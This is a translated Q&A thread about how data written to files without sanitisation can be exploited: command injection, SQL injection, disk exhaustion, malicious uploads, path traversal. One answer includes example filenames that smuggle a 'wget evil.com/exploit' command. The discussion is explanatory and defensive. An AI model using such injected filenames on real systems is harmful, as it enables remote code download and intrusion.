如何利用写入文件的数据

如何利用写入文件的数据

我想表明,将数据作为输入并直接写入文件而不进行解析、检查或清理是一种安全风险。

有人能举个例子说明如何利用这一点吗?我在想,也许有一种方法可以开始写入新文件,而不是应该写入的文件。如果可能的话,我可能能够写入名为 ls 或 less 的文件等。

抱歉,我忘了提到操作系统。它是 Solaris。

这些文件只是数据文件,稍后可能会被读入数据库,但我不想将数据库作为唯一的漏洞。

该服务器上的一个程序正在监听一个端口,我可以连接并向其发送数据,我知道它稍后会将这些数据写入名为 output.dat 的文件中。

答案1

这实际上取决于你用这些数据做什么。如果这些数据稍后被用作 shell 命令的输入,那么你就可以潜入子 shell 命令并执行任意命令(安装后门、添加用户、更改密码……)。如果数据在没有准备好的语句的情况下插入到 SQL 中,那么你就有了一个标准的 SQL 注入。最简单的情况是炸毁你的分区空间;如果你可以自由且无限制地生成数据,那么没有什么可以阻止攻击者填满驱动器/分区。大多数程序不会检查这种情况,所以它会进入一种未知的状态,最好的情况下是 DoS,最坏的情况下是可以被利用。

答案2

类似的事情是许多网站都会犯的一个众所周知的安全错误。如果您从用户那里获取上传内容(例如,论坛的头像图片),但没有验证它们是否是有效的图片文件,攻击者就可以上传 PHP 文件,并通过在 Web 浏览器中从您的图片目录请求该文件在您的服务器上执行它。通常,仅检查文件名的扩展名也是不够的,您必须验证文件的内容,否则您的系统可能会存在恶意文件。

在您接受文件上传但不验证其内容的任何情况下,情况可能都是如此。该文件可能是 Solaris 可执行文件,只是在等待粗心大意,chmod -R 777 /var/www或者是一个添加新用户的 perl 脚本,或者是一个注定要破坏用户您的网站或将用户重定向到攻击者网站的 .htaccess 文件,甚至是指向 /etc/passwd 的符号链接。(实际上,我不确定是否可以“上传”符号链接,但可以想象一个不受信任的用户可以在您的系统上创建符号链接的场景。)

验证文件内容是否与预期相符,可使攻击者更难在您的系统上获取漏洞代码。您认为不进行验证是一种安全错误,这种想法是正确的。

一旦恶意文件进入系统,仍然需要第二个错误/漏洞来利用该文件,但它使攻击者更接近危害您的系统。

除此之外,如果提供了文件名,您还必须对其进行清理。前面的 .htaccess 示例是攻击者可以利用文件名的一种方式,但诸如“../index.php”或|/usr/bin/wget evil.com/exploit; wget evil.com/exploit或之类的文件名&& wget evil.com/exploit都可能对您的系统造成恶意影响,具体取决于文件处理代码。

如果我们谈论的是 Apache,那么强迫它覆盖系统二进制文件将会很困难ls,但如果它是您自己编写的服务器,不会放弃特权并以 root 身份运行,那么它将具有覆盖系统二进制文件所需的权限,只是等待正确的文件路径。

答案3

这完全取决于你使用的平台。例如,如果这是一个灯系统,它可以像将 .php 文件写入 Web 根目录一样简单,或者更复杂的方法是高级 LIF 攻击

在 Windows 下你可以使用一些命名管道诡计获得远程代码执行。

答案4

只要攻击者无法更改文件名或文件元数据,并且写入的数量有限制,我就不会发现问题。

否则,将任何随机数据存储在文件中都是很危险的。假设上述情况属实,文件只是一个容器。

这并不是说阅读应用程序中没有可以利用的漏洞。例如,如果记事本或其他程序中存在漏洞,并且用户能够将利用漏洞的序列写入本应是文本的文件。

相关内容